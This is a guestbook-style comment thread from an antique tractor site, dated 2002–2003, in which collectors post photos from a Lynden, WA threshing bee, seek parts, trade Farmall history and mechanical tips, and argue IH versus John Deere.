DARRYL KRAUSE wrote on Sunday, February 02, 2003 (PST):THIS PICTURE WAS TAKEN AT THE ANNUAL THRESSING BEE IN LYNDEN,WA. THE FIRST WEEKEND IN AUGUST.DONT KNOW WHOS IT IS.
DARRYL KRAUSE wrote on Sunday, February 02, 2003 (PST):THIS PICTURE WAS TAKEN AT BERTHASON PARK IN LYNDEN,WA. AT THE ANNUAL THRESSING BEE LAST DAYS IN JULY,FIRST WEEKEND IN AUGUST.
W. Deuling wrote on Sunday, February 02, 2003 (PST):I bought a Vista G1000 on LP in November,1985. I use it almost every day on my dairy farm. It is a true work horse as it hauls the manure spreader, m-m 5 bottom plow, bales hay, and it even hauls single wide and double homes around.
Hobo Tools and Supplies wrote on Sunday, February 02, 2003 (PST):Hello to everyone. I am in the process of becoming the distributor of Fordson Major replacement parts. We haven't added this information to our web site as of yet. However, if you have time please take a look. www.hobotools.com At the moment I have available injection tube set (1,2,3,4) Sold in sets only. Steering wheels and cap. Hyd. parts, Spindle Front Axle - RH and LH. This just to name a few. You can reach me at the above email. Any questions I would do my best to answer. Thank you Sincerely, Jay A. Van Horn Owner Hobo Tools and Supplies
Robert Thullner wrote on Friday, January 31, 2003 (PST):My dad bought a UTS MM from a traveling jockey that came out of Missouri during WWII. It had a TWIN CITIES embol on the hood. I believe it was a military version painted MM yellow. I have the belt pulley drive and the quick jaw hitch that mounted near the PTO. I remember the foot clutch and the large steering wheel and the seat mounted to the side. Dad traded this UTS for a new MM GB in 1958 which is still used for part of the farming operation today. Bob Thullner South Dakota
Candace Lynch wrote on Friday, January 31, 2003 (PST):My son wants to locate the F-20 or 350 his grandfather had. The F-20 was probably bought in the early 40's, the 350 would have been in 1952 or '53 from White Implements in Connersville, Indiana. We don't know the serial numbers but hope someone would have some idea where to begin to trace these old tractors. Are there archives that show serial numbers for a particular series and a way to trace sales to a particular dealer?
Howard Wade wrote on Friday, January 31, 2003 (PST):I bought a Allis Chalmers model M CRAWLER IN SPRING 2002 i HAVE JUST FINISED RESTORING IT BUT I WOULD LIKE TO GET HOLD OF A STARTER MOTOR AND A DYNAMO ALSO ANOTHER TO RESTORE
Micah Serles wrote on Thursday, January 30, 2003 (PST):One of my friends has the same tractor with the 4 cylinder Detroit Diesel. What would cause the engine to flutter at full throttle? We have done everything from changing fuel filters to having the fuel pump rebuilt. Do you have any idea what could casue this?
Jack Schafer wrote on Thursday, January 30, 2003 (PST):If anyone knows of a Samson Sieve-Grip with anything remaining of the Flying GMC Logo fender decal, please let me know. Samson started in Stockton, CA, later bought by GMC. Did not last long after that.
Bill Hocking wrote on Wednesday, January 29, 2003 (PST):I would like to buy a complete front dozer blade to fit 1950 John Deere MC. E-mail me at mild at srv.net.
IH POWER wrote on Wednesday, January 29, 2003 (PST):4440 MAN MUST NOT OUNE A IH HE DOS ENT NO WHAT HE IS MISSING OUT ON. AND THAT OULD TORQUE IS WHAT MAKES IHRED SO SPESHEL. SO LET KICK SOME JOHN DEERE BUT. GO RED GO RED!!!!
buty red power and junk jd's wrote on Wednesday, January 29, 2003 (PST):4440 man should have the 4440 or kicked out of him. All farmall red tractors are way beter then THEN DIYRYA GREEN.
Matt Nahlik wrote on Tuesday, January 28, 2003 (PST):I like 1066s, but I agree with the guy at the top with 1206 comment. I have pulled with a 1066 and a 1206. I would prefur the 1206.
gordon miller wrote on Tuesday, January 28, 2003 (PST):iworked for cochut.as a service man i 1950 in saskatoon sask i was also a dealer until 1956 the model 30 came first the 30 was a first modern tractor at the time first live pto i sold maney and had no complaints
Jim wrote on Sunday, January 26, 2003 (PST):I recently picked up a 1941 Farmall-B from my brogher-in-law and ran it a bit this week end. It runs good but I have never used a tractor with a brush-hog with no hydraulics. Is there a way to slow the mower down so you can shift the gear? Got to put a little labor in this B and need to sell it for brother-in-law with cancer. I don't really need it. Has good rubber and cranks easy. He put a battery on it about 4 months ago, however, the celinoyd ? just chatters. Anyone interested in buying this 41-B can write the E-Mail address. Location Cleburne, Texas area.
Jim Hayes wrote on Friday, January 24, 2003 (PST):I am looking for a HD-7 with a cable blade.Does anyone knok of one?
ihman wrote on Thursday, January 23, 2003 (PST):4440 man if you don't like the 1066 why are you on this site? 1066 man proves that IH tractor are a hell of a lot better than john "in the shop all day" deer
Leonard Rahilly wrote on Thursday, January 23, 2003 (PST):On converting 4-speed to 5-speed; The shift rail for 4th and 5th gear is toward the left side of the transmission, and apparently slides forward under the gas tank when 5th gear is engaged. There is a little capscrew in the tranny cover, somewhere under the gas tank. If 5th is locked out, the cap screw is long enough to block the shifter rail from coming forward. If this bolt (I seem to remember that it has about a 9/16" hex head) is backed out, or replaced by a shorter bolt, the shifter rail can move forward and shift the dog clutch (just like the old 3rd gear direct-drive dog clutch in American standard shift cars). Incredibly clever. It meant one manufacturing step for two uses. Actually, I wonder if an H would pull itself in 5th gear on steel wheels. If it did, I sure wouldn't want to ride on it. The H and M do all of 5 mph in 5th with the engine at a dead idle. Anything above idle speed would be one rough ride on steel wheels! I cannot tell you exactly which of the bolts in the top of the transmission does the blocking, but you can pretty well guess by estimating about where the shifter rail would be (opposite to the direction of the gear shift lever; lever right for 5th gear, shift rail would be the leftmost of the 3).
Leonard J. Rahilly wrote on Thursday, January 23, 2003 (PST):A reader (way, way up on that list!) has repeated something I read in the book called "Letter Series Farmalls" (in my opinion, one of the few quite good books on antique tractors--more facts, well checked out, than most of these slick books). This book states that the Farmall H was meant to replace the F-14. Well, maybe dealers were told to encourage that, but I have some original IH sales literature from the late 30s and early 40s, and in those brochures, IH very clearly said that the H was a "full two-plow tractor" (meaning 2 14" plows). I spent many years working two H's, and neither of them would measure up to an F-20, and that is because, I believe, the H was deliberately designed to pull the same load as a steel-wheeled "10-20" sized tractor. This the H will do. It is a second-gear only plowing tractor. Very seldom would either of our two H tractors plow in third. An F-20 would often plow in third, if the ground was not too hard, and in any case, on 36" wheels, the F-20 would do almost 4 mph in second gear, and still pull the two 14" plows rippin' and snortin' through the field. The H is a h. of a lot more comfortable, I'll give it that, and it was a delight to drive in its day, compared to the old iron it replaced. The H is a very nice chore tractor, so it could, indeed, replace an F-12 or an F-14 very comfortably. It is easy to get on and off of, easy to steer, and small enough to maneuver around in tight places, like the -12 and the -14. It wouldn't surprise me if dealers were told to push the H as a replacement for the F-14, but I would like to see this in writing. The book I mentioned does NOT give evidence for this statement. One of the effects of the lightening up of tractors (the engine on the H is only 152 c.i.d., as compared to 221 c.i.d. for the F-20) is that they kind of straddled categories. The H, in other words, could be a light chore tractor, like an F-14, but it could also do a good bit more heavy work in the field. As a chore tractor, with its engine not much bigger than an F-14, it didn't burn a lot of gas. None of my comments are meant to detract anything from the value of the H. I used to wish for more power, but I never didn't like the tractors. Compared to some of its contemporaries, it was very comfortable (nice platform, good seat, good seating position, steering wheel placement, etc.). I never liked the gear lever; it was always bumping the calf of your leg in the rearward positions, and you usually banged your arm on the steering wheel going for the forward gear positions (R, 2, 4). The external-contracting brake bands were a step backwards from the internal brakes of the F-14, but they did work pretty decently, even if they sometimes squealed. The governor leaver was not well designed, either. It was quite a reach when it was in the slow position, and if you were turned around to the right in your seat, watching a mower or a combine, it was a LONG reach. Much better to have a vertical quadrant, with the lever parallel to the steering wheel.
Leonard Rahilly wrote on Thursday, January 23, 2003 (PST):A reader asked about horsepower ratings for F-20. This system of numbers goes way back to the early days of tractors. When two numbers are used, the first one is the "rated drawbar horsepower" (75% of maximum in the Nebraska tests) and the second number is the "rated belt horsepower" (85% in Nebraska tests). These ratings are conservative, so that the user will not load up the tractor to the absolute maximum, leaving a bit of extra power for tough spots in the field. A 10-20 pulls 2 14" plows in second gear (on steel), and runs about a 22" thresher. A 15-30 pulls three plows and runs a bigger thesher. The actual maximum horsepower can be quite a bit above the rated. An F-20 on distillate put out over 27 belt horsepower, but is rated at 20 (F-20 refers to the belt horsepower; this tractor would be rated 10-20 if both numbers had been used). One of the things that was obvious to users of these old tractors is that the ratings were no longer very accurate when the tractor was put on rubber. Rubber tires return more power to the ground. An F-20 would pull 2 14" plows at about 4 mph (second gear, 36" tires), whereas on steel it was designed to pull these two plows at about 3 mph, like most steel-wheeled tractors of the day. An interesting case of number changes occured when IHC increased the bore of the 15-30, got more power, and changed the rating of the same tractor to 22-36 (about 1929, I believe--you can check this in the Nebraska tests, where the tractor is called "15-30" but the larger bore is shown in the specifications). W-30, F-30, W-40; the numbers refer to the rated belt h.p. One of the reasons why the rated drawbar horsepower is about half is that the very early tractors (chain drive, sleeve bearings in the gearbox, etc.) really didn't put much more than half the engine power to the wheels. Check the Nebraska test for IHC Titan 10-20. The engine put out about 28 hp on the belt, but I seem to remember that the drawbar horsepower was about 12! You always see pictures of these tractors hooked to 3-bottom plows, but you have to realize that the ground speed was very low; several plows can be pulled very slowly; when speed up, the draft rises sharply and not so many plows can be pulled. The Titan, incidentally, was rated as a 10-20, even when the engine put out nearly 30 on the belt!
leonard j. rahilly wrote on Wednesday, January 22, 2003 (PST):I just submitted the same comments twice. Apologies. Someone wrote a while back about putting an F-12 manifold on an F-14 and losing power. You would have to check part numbers to see if the F-14 manifold was really different. My guess is that they put a kerosene manifold on an F-14 that had had a gasoline manifold. The kerosene manifold is designed to run hot. I believe there was a valve to set the manifold on "cold" for gasoline, but with a very old and well-used manifold, it could be that the valve (inside the manifold, right in the middle of all those exhaust gases) had gotten burned through. If a kerosene manifold is used in the "hot" position with gasoline, I am pretty certain there would be a power loss--kerosene needed the heat to vaporize properly, but gasoline absolutely does not need that much heat. In the good old days (not so good, actually, except that I was a h. of a lot younger), you could start on gasoline (cold position) and switch to kerosene or distillate (hot position). Supposed to be cheaper. May have been. I tried it once with our McCormick-Deering 10-20, and swore I would never do it again. It is an absolute nuisance to start on gas, switch to kerosene or distillate,keep the curtain up (or shutter closed) to keep the engine really hot, shut off fuel to stop engine (cold kerosene won't start no matter how much you cuss), restart on gas, etc. (f you managed to stall the engine and did not crank it up immediately, you had to drain the carburetor, after shutting off the kerosene valve, then refill with gasoline from the small tank, restart, switch again over to kerosene. Another problem; as soon as an engine on kerosene stops working hard, it "cools off" a bit and starts to sputter. A lot of the early IHC tractors (10-20, F-20 era) were designed for kerosene only. I never knew anyone in my younger days (early 40s) who used kerosene. They just put gas in the kerosene tractors; got a little more power, but not as much as they could have had by raising the compression. Anyone interested in this stuff can compare Nebraska tests for tractors like F-12, Farmall H and M, to see the difference in h.p. between the kerosene/distillate tractors and the high-compression models sold for gas only. Oliver compensated for the loss on kerosene by making the engine of the Oliver 80 Kerosene-Distillate model bigger! Imagine what that brute could do with high compression! (kerosene requires low compression so as not to knock and pound a hole in a piston). Incidentally, there are Nebraska tests of some tractors on both kerosene and distillate (F-20, for example), and the distillate has a nice bit of extra power. Interesting to know if gasoline gives any extra power in the kerosene-distillate engine. I'd guess not much. Any engineers out there who know? A dramatic example of the diffence higher compression + gasoline makes is the postwar John Deere A and B tractors (the "new" models with the upholstered seat, about 1947). These tractors differ very little from the previous models,except for the higher compression and, I think, a manifold designed exclusively for gasoline.
Leonard J. Rahilly wrote on Wednesday, January 22, 2003 (PST):I see that I wrote something last July! Well, here's some more palaver. The F-14 differed from the F-12 in several ways that can be seen; there is a breather pipe coming down from the valve cover on the right side of the engine; the brake levers are much longer, reaching above the fuel tank (on the F-12, they are very short, and would be very difficult to use for anything other than parking; the automatic wheel brakes made the hand brake levers almost unnecessary--of course, you could always use a hand brake lever to stop a wheel from spinning in the mud); the steering shaft has a u-joint just behind the steering gear, and the steering post is accordingly higher; the seat has a higher pedestal to match the steering wheel's new height (when I was a teenager, I put a u-joint in my father's F-12 steering shaft, and raised the post with a typical farmer's fix; I cut the original post in half and put a piece of pipe between the two parts; ugly, but effective; incidentally, I have seen F-12s with the F-14 steering post, and many people mis-identify such tractors). The F-14 has a little more power than the F-12, acquired entirely by raising the governed full-load speed from 1400 to 1650 rpm. In order to make use of this power, the gearing was changed, so that the F-14 and the F-12 had about the same ground speed. It is not true that the F-12 would not pull two plows (on rubber tires). My father bought a new F-12 on 40" rubber in 1938; it had those lovely castiron wheels that you see reversed in this picture of the F-14. This tractor pulled a 2-12" trailer plow through thick and thin in second gear (the normal plowing gear). Occasionally, in VERY light soil, and not plowing too deeply, the tractor would pull this plow in third gear. This just goes to show what happens when a tractor designed for steel wheels was converted to rubber. The power formerly wasted driving those lugs into the ground went into pulling a larger load, or pulling the same load in (usually) one higher gear. By looking at a series of Nebraska tests, I have estimated the power loss for a steel-wheeled tractor at between 30 and 35% (even more in some of the early tractors, like the Titan 10-20, which had a power-robbing transmission, as best I can tell). Rubber-tired tractors probably lose between 10 and 15% on average. Anyone interested in armchair engineering (I am, obviously!) can take the Nebraska tests and do the averages for many tractors. Be aware that some of the tractors tested on rubber in the late 30s and early 40s either had tires that were too narrow, or not enough weight was added, as there may be quite a bit of slippage in low gear (see the tests for the Farmall M, in which low-gear h.p. runs around 24 (much slippage) compared to a little over 30 in the higher gears). Steel-wheeled tractors seem to lose power as the speed is raised (more effort driving the lugs in, I presume), while rubber-tired tractors seem to have a pretty even power application throughout the gears, except possibly in low if there is a lot of slippage. A neighbor who had had a lot of experience with a steel-wheeled F-12 ("Can't get out of its own way, it's so slow!") was "amazed" at the power our rubber-tired F-12 produced. Sadly, our old bird was left to rust away after the manifold blew out in the sixties. I think it is serving as a parts tractor somewhere in Tractor Heaven. I have no experience with F-14s, but have put in hundreds of hours on two rubber-tired 12s and one with steel wheels. They were wonderfully robust tractors, fairly easy to get on and off of, compact and easy to turn in small spaces, very handy with mounted equipment, like the Quick-Attachable 7' mower and the cultivators. With the big IH drawbar, you could use it for hauling fence posts, barbed wire, pails of feed, even people to and from the fields. About its only weakness was that it (like the F-14) had a fuel pump, and fuel pumps in those days had diaphragms that did not live forever. Minor problem, actually--I think the diaphragms were good for 8-10 years before they split. The only other drawback to the F-12 did not become apparent until you had the chance to drive a tractor with a road gear. The 4-mph top speed of the F-12 was REALLY slow if you had to go a mile to the field, or if you were hauling loads of hay or grain to the barn. I used to lust after a Farmall A (10 mph) or an H (over 16 mph!--a real racing machine on a gravel road; so fast that there was even wind in the face!). Now that I am a lot more mature, I think I'd kinda like to putter along on an F-12, four mph or not. Might even throttle it back and take another half hour to get to the field!
Leonard J. Rahilly wrote on Wednesday, January 22, 2003 (PST): The F-14 differed from the F-12 in several ways that can be seen; there is a breather pipe coming down from the valve cover on the right side of the engine; the brake levers are much longer, reaching above the fuel tank (on the F-12, they are very short, and would be very difficult to use for anything other than parking; the automatic wheel brakes made the hand brake levers almost unnecessary--of course, you could always use a hand brake lever to stop a wheel from spinning in the mud); the steering shaft has a u-joint just behind the steering gear, and the steering post is accordingly higher; the seat has a higher pedestal to match the steering wheel's new height (when I was a teenager, I put a u-joint in my father's F-12 steering shaft, and raised the post with a typical farmer's fix; I cut the original post in half and put a piece of pipe between the two parts; ugly, but effective; incidentally, I have seen F-12s with the F-14 steering post, and many people mis-identify such tractors). The F-14 has a little more power than the F-12, acquired entirely by raising the governed full-load speed from 1400 to 1650 rpm. In order to make use of this power, the gearing was changed, so that the F-14 and the F-12 had about the same ground speed. It is not true that the F-12 would not pull two plows (on rubber tires). My father bought a new F-12 on 40" rubber in 1938; it had those lovely castiron wheels that you see reversed in this picture of the F-14. This tractor pulled a 2-12" trailer plow through thick and thin in second gear (the normal plowing gear). Occasionally, in VERY light soil, and not plowing too deeply, the tractor would pull this plow in third gear. This just goes to show what happens when a tractor designed for steel wheels was converted to rubber. The power formerly wasted driving those lugs into the ground went into pulling a larger load, or pulling the same load in (usually) one higher gear. By looking at a series of Nebraska tests, I have estimated the power loss for a steel-wheeled tractor at between 30 and 35% (even more in some of the early tractors, like the Titan 10-20, which had a power-robbing transmission, as best I can tell). Rubber-tired tractors probably lose between 10 and 15% on average. Anyone interested in armchair engineering (I am, obviously!) can take the Nebraska tests and do the averages for many tractors. Be aware that some of the tractors tested on rubber in the late 30s and early 40s either had tires that were too narrow, or not enough weight was added, as there may be quite a bit of slippage in low gear (see the tests for the Farmall M, in which low-gear h.p. runs around 24 (much slippage) compared to a little over 30 in the higher gears). Steel-wheeled tractors seem to lose power as the speed is raised (more effort driving the lugs in, I presume), while rubber-tired tractors seem to have a pretty even power application throughout the gears, except possibly in low if there is a lot of slippage. A neighbor who had had a lot of experience with a steel-wheeled F-12 ("Can't get out of its own way, it's so slow!") was "amazed" at the power our rubber-tired F-12 produced. Sadly, our old bird was left to rust away after the manifold blew out in the sixties. I think it is serving as a parts tractor somewhere in Tractor Heaven. I have no experience with F-14s, but have put in hundreds of hours on two rubber-tired 12s and one with steel wheels. They were wonderfully robust tractors, fairly easy to get on and off of, compact and easy to turn in small spaces, very handy with mounted equipment, like the Quick-Attachable 7' mower and the cultivators. With the big IH drawbar, you could use it for hauling fence posts, barbed wire, pails of feed, even people to and from the fields. About its only weakness was that it (like the F-14) had a fuel pump, and fuel pumps in those days had diaphragms that did not live forever. Minor problem, actually--I think the diaphragms were good for 8-10 years before they split. The only other drawback to the F-12 did not become apparent until you had the chance to drive a tractor with a road gear. The 4-mph top speed of the F-12 was REALLY slow if you had to go a mile to the field, or if you were hauling loads of hay or grain to the barn. I used to lust after a Farmall A (10 mph) or an H (over 16 mph!--a real racing machine on a gravel road; so fast that there was even wind in the face!). Now that I am a lot more mature, I think I'd kinda like to putter along on an F-12, four mph or not. Might even throttle it back and take another half hour to get to the field!
M .Mcclure wrote on Wednesday, January 22, 2003 (PST):how many were made and where can I buy one or maby an 880
justin kubesh wrote on Monday, January 20, 2003 (PST):my grandpa has a g-1000 it is LP and it has a wide front. He has had it over 40 years and when I was little he had it hooked up to the hammer mill to grind feed for our hogs. Thats the only thing he used it for
Keith wrote on Sunday, January 19, 2003 (PST):If anyone is interested in D-21's, please call me at (519) 741-7177and leave message This is a ontario Canadanumber
Glendon wentzell wrote on Sunday, January 19, 2003 (PST):I am interested in buying a(1952?) 60 series Cuckshutt gas.The owner says it has a pin broke in the rearend or axle.Is this a diffulct problem to fix ?,and is it in the axle or rearend.He says it dosn,t move.Everthing else is working great.Would it be expensive?Thanks,any info would be appreciated.
Kim Van Peursem wrote on Saturday, January 18, 2003 (PST):I bought a real nice 210 and 220. they sure make a great team. now all I need is a D21.
Rey wrote on Thursday, January 16, 2003 (PST):I have a cub that I inherited after bying a small place in California. I have pute new rubber on it and replaced the carb with a Zenith. The serial # on the block behind the carb reads 107985. It has a hydralic resovior/pump behind the motor unlike the cub at the top of this page. The tank is not in a teardrop shape and the front of the tractor face is semi-round. I would like to find out more info on this tractor, Year, Model, ect. Can anyone help?
MARK wrote on Monday, January 13, 2003 (PST):I HAVE A MASSEY-HARRIS TRACTOR. IT LOOKS LIKE A PONY.THE MOTOR TAG IS MISSING. THE NUMBERS ON THE MOTOR BLOCK ARE N62A 03 AND UNDER THIS NUMBER IS 10 2 50. THE CARBURETOR IS A MARVEL-SCHEBLER-TSV-24. I WOULD LIKE TO FIND MORE INFORMATION ON THIS TRACTOR.
Len Meier wrote on Sunday, January 12, 2003 (PST):Its amazing how many B Farmall's are still working. I have a 1946 that my family has used for mowing and pulling a utility wagon for 50 years. It has been on the farm since 1953. Sometime, many years ago, the water jacket was cracked both inside and out. Does anyone in the midwestern US have a block for sale that is not cracked. If I can get one, I can run it another 50 years.
1066 man wrote on Sunday, January 12, 2003 (PST):harvester 1066 is way more reliable then a 4440 I had both and the 4440 was one thing after another and nothing but a headache fuel pump engine rebuild transmission and countless number of batteries I never had a problem with my 1066 and my international put out more drawbar horsepower then my deere 4440.
chuck melburg wrote on Sunday, January 12, 2003 (PST): New to the farmall cub family. Somewhere in oct of 2001 I bought a raffel ticket for a cub tractor. I forgot I even had the ticket. You guest it, I won what was to be a restored Cub. Meaning it was painted,new tires, and ran good. I noticed some leaks,oil,gas,etc. So to date I have replaced all bearings,seals,bushings,trans & pto shafts,rebuilt carb,hyd pump & resivor,new oil pan. The only thing not rebuilt from front to rear is the eng & clutch. It is a fun toy and I love it. I would like to get a belly momer for it this summer, so if anyone knows of one somewhere in the Ill,Iowa, or Mo area for sale please let me know.Oquawka Ill phone# 309-867-3975
4440 man wrote on Saturday, January 11, 2003 (PST):you know your 1066 can`t compete with 4440 for h.p. or reliability esp. that poor excuse called a torque
TIM wrote on Saturday, January 11, 2003 (PST):I have a McCormick Farmall 140 (serial #25978J). I would like to restore this tractor and need to locate parts and decal set for this tractor. Any information you might have would be helpful. Thanks,Tim
Chris Cummings wrote on Friday, January 10, 2003 (PST):Nice w-4 in picture. I have an o-4 and looking for fenders can anyone out there help me out. If so email me or call 620-229-8804. Thanks, Chris
hippie wrote on Friday, January 10, 2003 (PST):Trying to put a W-6 togeather and I Need a frount engine mount can anyone hepl me out
tom thibodeau wrote on Friday, January 10, 2003 (PST):i have a oliver oc4hg-42model gas,i would like to know where to get oil filters and a fan belt pulley,what is zimmermans address,in pennsylvania??im not familiar with the computer as you can see!! any help appreciated,thanks!
Matt wrote on Wednesday, January 08, 2003 (PST):I think this 1066 is a nice one,so go red!
The puller man wrote on Wednesday, January 08, 2003 (PST):I have a 806,856,1456,1066,1086,1486 red power,5288,7140,and 3 John Deers.I think red is the best. My 806 clock has been around 2 times and on its third. Its moder has never been toched. If they made am all that though they never would have had to been bought out. So go red People out there.
Tim Harker wrote on Tuesday, January 07, 2003 (PST):I have driven a g-1000 and have recently purchased a g-1355 and it was all because of that one time my uncle let me drive the g-1000 about 20 years ago!!!!!!
Robert Dailey wrote on Monday, January 06, 2003 (PST):I used cockshutt 50 for logging smoothest running tractor for pulling logs out of the woods Thankyou cockshutt
John Valles wrote on Monday, January 06, 2003 (PST):I have an OLVER Super 55 for sale. Complete tractor. Good rubber, no smoke. Tractor located near Tucson, AZ. Call or email. 435-797-0344, 435 770-6635
kevin C. Stuart wrote on Sunday, January 05, 2003 (PST):I have a 1948 DI Case built May 25 1948,orginally it was a loader tractor and was shipped to Roy C. Wayne supply company,If any body knows were this company was located I would be very thankful.
BEN wrote on Friday, January 03, 2003 (PST):i recently had bought a td-5 and did some repairs. the previos owner has misplaced the owners manual.My question is where is the filler plug for adding hyd/trans fluid, i can only find the vent plug under the seat.
tim brockman wrote on Thursday, January 02, 2003 (PST):i have a massey harris pony for part. call if you need a part thanks tim.
ED HELLENBRAND wrote on Thursday, January 02, 2003 (PST):In Wisconsin, looking for a series II, D21 must be in working condition.
Glenda Stermer-Simpson wrote on Thursday, January 02, 2003 (PST):Hi. My uncle is looking for parts for a Ford Offset Workmaster Model 541; a left axle and a radius road. Would anyone know of anyone selling parts or a salvage yard where we could possibly locate them? Thank you so much for your time.
Bevin Madill wrote on Thursday, January 02, 2003 (PST):Pussled on that big block.Stock? l.o.l.
Kevin Buie wrote on Wednesday, January 01, 2003 (PST):My dad has the same exact tractor and I'm trying to restore it. I need the 140 emblem that fits on the side of the tractor. There are actually two of them and I believe they screw in. If you know were I might be able to locate them please write back. Kevin
Brian Ault wrote on Tuesday, December 31, 2002 (PST):I have tried to find if any other person has an information of an American company which manufactured engines in Australia. Westinghouse was the company and the engines were sold under local names such as Rosebery or Buzzacott. I have a 6HP Rosebery and would like to know if these engines were manufactured in any other country.
Ray Hughes wrote on Tuesday, December 31, 2002 (PST):My wife's Dad has a 60 John Deere that he still uses occasionally. It has a live PTO that the clutches have gone out on. He is having trouble finding replacements. Anyone out there have a good set they might sell at a reasonable price? I would like to fix it for him. He is 86 years old and would not take a million dollars for that old John Deere. I love to see him enjoy his time bush hogging his small garden spot. It makes his day to run the old Deere if only for a few minutes.
Warren Walton wrote on Tuesday, December 31, 2002 (PST):My Dad just finished restoring a TD 35 and he would like to talk to you about it. He can either call you or if you want to give your phone number he will call you. He has a number of crawlers and is really into it. You can email me if you like and we will get back with you.
Roger wrote on Monday, December 30, 2002 (PST):I'm not sure if it is a 501 or 541 series ford offset. Where do you locate the serial # on the tractor? Would appreciate any advice on this matter. Thanks
DARRYL KRAUSE wrote on Sunday, December 29, 2002 (PST):THIS PICTURE WAS TAKEN AT BERTHASEN PARK AT THE ANNUAL THRESSING BEE IN LYNDEN WA. I WILL TRY TO FIND SOME MORE INFO ON THIS TRACTOR.
DARRYL KRAUSE wrote on Sunday, December 29, 2002 (PST):THE PICTURE WAS TAKEN AT THE ANNUAL THRESSING BEE IN LYNDEN,WA. AT BERTHASEN PARK. I WILL TRY TO FIND OUT WHO OWNS THIS UNIT.
DARRYL KRAUSE wrote on Sunday, December 29, 2002 (PST):THIS TRACTOR IS ALSO BOB VANDERPLOEG'S FROM LYNDEN,WA. AT THE ANNUAL THRESSING BEE IN LYNDEN,WA. BOB IS A COLLECTOR,USED PARTS DEALERSHIP AND FORMER A.C DEALERSHIP.
DARRYL KRAUSE wrote on Sunday, December 29, 2002 (PST):THIS TRACTOR IS ALSO BOB VANDERPLOEG'S FROM LYNDEN, WA.TAKEN AT LYNDEN,WA. AT THE ANNUAL THRESSING BEE. BOB IS A A.C.COLLECTOR,USED PARTS DEALER AND FORMER A.C.DEALERSHIP.
DARRYL KRAUSE wrote on Sunday, December 29, 2002 (PST):THIS TRACTOR IS BOB VANDERPLOEG'S FROM LYNDEN,WA. TAKEN AT THE THRESSING BEE IN LYNDEN,WA.BOB HAS A GREAT COLLECTION OF BEAUTIFUL RESTORED A.C. USED PARTS DEALER AND FORMER A.C. DEALER.GREAT PERSON WHO KNOW'S A.C.
DARRYL KRAUSE wrote on Sunday, December 29, 2002 (PST):THIS TRACTOR IS BOB VANDERPLOEG'S FROM LYNDEN,WA. IT RUNS AS GOOD AS IT LOOK'S. THE PICTURE IS TAKEN AT BERTHASEN PARK IN LYNDEN,WA. AT THE ANNUAL THRESHING BEE THE FIRST WEEK IN AUGUST EVEY YEAR.IDENTICAL TRACTOR TO THIS IS KEVIN TEVELDE'S TRACTOR PUTTING OUT 300+ HORSE IN TRACTOR PULLING AND CUSTOM FARMING.
Ralph Barnett wrote on Saturday, December 28, 2002 (PST):Bill Shepard, I would also like to know how to contact you as well, or E-mail me at rbarnett8080 at aol.com
Jim Hendricks wrote on Friday, December 27, 2002 (PST):Bill Shepard, please E-Mail Me at www.hendricksawning at cs.com
Ray Valorosi wrote on Thursday, December 26, 2002 (PST): I have a TD-35 tailseat model and I am looking for a parts book and an operations manual for it. Also I would like to here from any one else that has the same model
Francisco Peste, Portugal wrote on Thursday, December 26, 2002 (PST):I have a 1953 Farmall Super MD, working, with documents and i was interested in sell it...where can i advertise it??thanks
Jacob Kittrell wrote on Tuesday, December 24, 2002 (PST):Need parts for a MMU Tractor could anyone help me with this? Contact me please.
Bill Shepard wrote on Monday, December 23, 2002 (PST):I have a 67 550 gas which I'm thinking of selling and was wondering what it should be worth. It has 2700 actual hrs., power steering, the original rear tires with good tread, good tin and grill, everything works( the gas gauge is intermitent) and it starts and runs great. It would be a great tractor to restore or use as is. Your thoughts would be appreciated. Thanks.
Steve wrote on Monday, December 23, 2002 (PST):I have D15 series II. The pedistool that holds the rocker arm rod up is broken. There are four of these pedistools and the one closest to the radiator is broken. Does anybody know if you can still purchase these, if so where?
Lee Cozad wrote on Monday, December 23, 2002 (PST):I own a 48'Cockshutt 30.The Pto does not work correctly. Anyone out there who knows of overhaul parts and service manuals for this tractor. Greatly apprectiated.
Dave Olson wrote on Saturday, December 21, 2002 (PST):Want to purchase an F-20 with electric start, foot brakes, on rubber. Can give a little TLC but not major. Just want to putt around. I'm located in East Central Illinois. Email or phone 217-427-5557. Thanks, Dave Olson
Luke Erpelding wrote on Saturday, December 21, 2002 (PST):I own a Cockshutt 30, that i need fenders for i traded it a cushman truckster for it. Im 15 and need parts to have a complete resto.The parts I need are;A set of fenders, carburetor,and an original seat. If you have these parts PLEASE contact me at (260)-749-4056. I live in Indiana, Ask for luke.
IH man wrote on Friday, December 20, 2002 (PST):I've used a 1066 and I think it's one of the best.
steve hacker wrote on Tuesday, December 17, 2002 (PST):i have a 1949 R serial#1733 i am restoreing it now, it is running shape but looks rough, my dad bought it and a 15 tandem disk in 1977 for 1400.00 and when he go it the pony moter didnt run, he took it off and it has been setting outside, we always pulled it to start it, i plowed alot of ground with the ol tractor, we nick named it the "power house" there just wasnt much it wouldnt do around our farm. now i am all grown up, and love going to the shows, i am restoreing the R first, i hope my dad lives long enough to see it when i am done, it still runs good but needs some minor work, all the hydrylics still work good and pto work good, i am in need of some other parts like pony moter parts, fenders, battery box, hood, and poss a radiator, just thought i would share this,,,any idea's on locating salvage parts would be apreciated,,,thx steve
jim wrote on Tuesday, December 17, 2002 (PST):did they produce at t4 or a td4?
Dug_E wrote on Monday, December 16, 2002 (PST):I am in the process of restoring my Grandfather's Farmall Model C #1815. He bought the tractor in the mid 50's painted red, and equippped with touch controll hydraulics and the adjustable front axle. Upon the initial washing of the tractor I found the single coat of red paint washed off as readily as the dirt, to reveal a dirty white paint job underneath. I have since learned that this was a dealership 50th anniversary demonstrator model from early 1950 and was re-painted red at the dealership before being sold. I am searching for some knowlegable people to help me learn some of the history and details of the Model C. Over the years some things have been added and changed to the tractor, so I would appreciate any information on options avaliable at this time. The tractor is presently equipped with a rolling draw bar and backwards folding seat assembly. Both of which I believe have oame off a newer model. I also need to know if there is supposed to be a spark arrestor, muffler, and what model carburator was it equipped with? I think the carburator may have been changed as well. I am also looking for a complete decal package for the tractor including; hood, model, gastank, air cleaner, breather cap, pto guard, fan blade, fender, lights, and oil filter decals in the demostrator sceme. I also understand a few parts such as the wheels, air cleaner, and possialbly the steering wheel, lights, and perhaps some other parts were still painted red, is this true? If anyone can help me with any facts, stories, information, or history about this great tractor, please e-mail me, I would greatly appreciate it. Thanks. P.S Does anyone know for certain exactly what the differences between the c and the super c is in 1950?
